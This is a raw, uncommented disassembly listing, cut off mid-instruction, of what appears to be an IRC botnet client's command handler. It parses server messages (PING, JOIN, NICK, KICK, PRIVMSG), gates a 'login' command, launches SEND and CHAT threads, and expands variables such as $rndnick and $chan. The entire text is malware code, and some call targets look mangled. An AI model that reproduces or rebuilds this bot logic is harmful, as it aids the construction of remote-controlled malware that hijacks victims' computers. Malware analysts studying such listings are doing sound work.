= byte ptr -0E00h var_D80 = dword ptr -0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42D12C ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42D128 ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42D124 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2D mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E1 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E1 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08E add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2D loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42D0B8 push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2D lea eax, [ebp+var_2C4] push eax call sub_4151AD add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2D loc_401E91: ; CODE XREF: sub_401ACD+253Cj ; sub_401ACD+2559j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A62j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A84j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C36j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A73 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42D064 loc_402077: ; CODE XREF: sub_401ACD+28CDj ; sub_401ACD+2C4Dj ... call sub_415221 loc_40207C: ; CODE XREF: sub_401ACD+1BE2j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B70j pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42D040 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AD push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42D02C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409855 cmp dword_429088, ebx jz loc_409855 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42D024 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42CFE8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BD push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BD push 32h nop call near ptr 26A0F44h jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42CFE4 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42CFD8 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CB508 mov eax, off_429168[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42CFBC jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42CFB4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42CF9C jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7853j call near ptr 26B0857h nop push eax push offset unk_42CF60 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42CF1C loc_40240A: ; CODE XREF: sub_401ACD+7E2Aj ; sub_401ACD+7E91j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BD ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33F test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CEF4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F7 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset word_415C5A push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BD push 32h nop call near ptr 26A0F44h jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj call near ptr 26B0857h nop push eax push offset unk_42CEBC jmp loc_4083AE ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42CE8C jmp loc_4083AE ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42CE58 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] push edi push offset aLogin ; "login" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985D push edi push offset asc_42CE54 ; "l" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985D cmp [ebp+var_A4], ebx jnz short loc_4025BE push [ebp+var_8C] push offset dword_42D02C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409855 loc_4025BE: ; CODE XREF: sub_401ACD+AD5j cmp [ebp+arg_28], ebx jnz loc_409855 xor edi, edi cmp dword_4294D4, ebx jle loc_402773 mov [ebp+arg_20], offset dword_43D810 loc_4025DC: ; CODE XREF: sub_401ACD+B2Ej push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402602 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294D4 jl short loc_4025DC jmp loc_402773 ; --------------------------------------------------------------------------- loc_402602: ; CODE XREF: sub_401ACD+B1Ej push offset asc_42D12C ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D828[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402657: ; CODE XREF: sub_401ACD+C3Bj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C3 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C3 lea eax, dword_43D810[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FE mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FE push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEF add esp, 0Ch jmp short loc_4026FE ; --------------------------------------------------------------------------- loc_4026C3: ; CODE XREF: sub_401ACD+BB2j ; sub_401ACD+BB9j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FE lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEF add esp, 18h loc_4026FE: ; CODE XREF: sub_401ACD+BCBj ; sub_401ACD+BDFj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402657 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271B: ; CODE XREF: sub_401ACD+C9Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275E mov eax, [edi] cmp eax, ebx jz short loc_40275E push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEF add esp, 0Ch loc_40275E: ; CODE XREF: sub_401ACD+C76j ; sub_401ACD+C7Cj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271B mov [ebp+var_2C8], 1 loc_402773: ; CODE XREF: sub_401ACD+B02j ; sub_401ACD+B30j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278C cmp [ebp+var_2C8], ebx jz loc_40297D loc_40278C: ; CODE XREF: sub_401ACD+CB1j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEF lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEF push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEF push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08E push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEF add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEF mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FE: ; CODE XREF: sub_401ACD+E29j test eax, eax jz loc_4028FB push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42CE14 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40284A cmp [ebp+var_A0], 39h jle short loc_402860 loc_40284A: ; CODE XREF: sub_401ACD+D72j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_402860: ; CODE XREF: sub_401ACD+D7Bj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402886 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_40289A ; --------------------------------------------------------------------------- loc_402886: ; CODE XREF: sub_401ACD+DA2j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40289A: ; CODE XREF: sub_401ACD+DB7j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEF push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FE ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: sub_401ACD+D33j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, 